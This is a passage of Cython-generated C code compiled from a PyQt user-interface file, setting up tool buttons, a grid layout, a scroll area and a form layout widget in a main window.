QtWidgets.QToolButton(self.gridLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__72, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":112 * self.RB_Add.setShortcut("") * self.RB_Add.setObjectName("RB_Add") * self.gridLayout.addWidget(self.RB_Add, 0, 0, 1, 1) # <<<<<<<<<<<<<< * self.RB_Del = QtWidgets.QToolButton(self.gridLayoutWidget) * self.RB_Del.setObjectName("RB_Del") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[6] = {__pyx_t_9, __pyx_t_4, __pyx_int_0, __pyx_int_0, __pyx_int_1, __pyx_int_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 5+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[6] = {__pyx_t_9, __pyx_t_4, __pyx_int_0, __pyx_int_0, __pyx_int_1, __pyx_int_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 5+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(5+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_9) { __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; } __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_t_4); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_int_0); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_int_0); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_1, 3+__pyx_t_8, __pyx_int_1); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_1, 4+__pyx_t_8, __pyx_int_1); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":113 * self.RB_Add.setObjectName("RB_Add") * self.gridLayout.addWidget(self.RB_Add, 0, 0, 1, 1) * self.RB_Del = QtWidgets.QToolButton(self.gridLayoutWidget) # <<<<<<<<<<<<<< * self.RB_Del.setObjectName("RB_Del") * self.gridLayout.addWidget(self.RB_Del, 0, 1, 1, 1) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QToolButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RB_Del, __pyx_t_3) < 0) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":114 * self.gridLayout.addWidget(self.RB_Add, 0, 0, 1, 1) * self.RB_Del = QtWidgets.QToolButton(self.gridLayoutWidget) * self.RB_Del.setObjectName("RB_Del") # <<<<<<<<<<<<<< * self.gridLayout.addWidget(self.RB_Del, 0, 1, 1, 1) * self.scrollArea.setWidget(self.scrollAreaWidgetContents) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Del); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 114, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__73, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 114, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":115 * self.RB_Del = QtWidgets.QToolButton(self.gridLayoutWidget) * self.RB_Del.setObjectName("RB_Del") * self.gridLayout.addWidget(self.RB_Del, 0, 1, 1, 1) # <<<<<<<<<<<<<< * self.scrollArea.setWidget(self.scrollAreaWidgetContents) * self.formLayoutWidget = QtWidgets.QWidget(self.T_Racer) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Del); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[6] = {__pyx_t_2, __pyx_t_1, __pyx_int_0, __pyx_int_1, __pyx_int_1, __pyx_int_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 5+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[6] = {__pyx_t_2, __pyx_t_1, __pyx_int_0, __pyx_int_1, __pyx_int_1, __pyx_int_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 5+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(5+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_1); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_int_0); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_int_1); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_4, 3+__pyx_t_8, __pyx_int_1); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_4, 4+__pyx_t_8, __pyx_int_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":116 * self.RB_Del.setObjectName("RB_Del") * self.gridLayout.addWidget(self.RB_Del, 0, 1, 1, 1) * self.scrollArea.setWidget(self.scrollAreaWidgetContents) # <<<<<<<<<<<<<< * self.formLayoutWidget = QtWidgets.QWidget(self.T_Racer) * self.formLayoutWidget.setGeometry(QtCore.QRect(260, 0, 800, 521)) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_scrollArea); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_scrollAreaWidgetContents); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":117 * self.gridLayout.addWidget(self.RB_Del, 0, 1, 1, 1) * self.scrollArea.setWidget(self.scrollAreaWidgetContents) * self.formLayoutWidget = QtWidgets.QWidget(self.T_Racer) # <<<<<<<<<<<<<< * self.formLayoutWidget.setGeometry(QtCore.QRect(260, 0, 800, 521)) * self.formLayoutWidget.setObjectName("formLayoutWidget") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_9) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget, __pyx_t_3) < 0) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":118 * self.scrollArea.setWidget(self.scrollAreaWidgetContents) * self.formLayoutWidget = QtWidgets.QWidget(self.T_Racer) * self.formLayoutWidget.setGeometry(QtCore.QRect(260, 0, 800, 521)) # <<<<<<<<<<<<<< * self.formLayoutWidget.setObjectName("formLayoutWidget") * self.formLayout = QtWidgets.QFormLayout(self.formLayoutWidget) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QRect); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__74, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":119 * self.formLayoutWidget = QtWidgets.QWidget(self.T_Racer) * self.formLayoutWidget.setGeometry(QtCore.QRect(260, 0, 800, 521)) * self.formLayoutWidget.setObjectName("formLayoutWidget") # <<<<<<<<<<<<<< * self.formLayout = QtWidgets.QFormLayout(self.formLayoutWidget) * self.formLayout.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__75, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":120 * self.formLayoutWidget.setGeometry(QtCore.QRect(260, 0, 800, 521)) * self.formLayoutWidget.setObjectName("formLayoutWidget") * self.formLayout = QtWidgets.QFormLayout(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.formLayout.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) * self.formLayout.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); 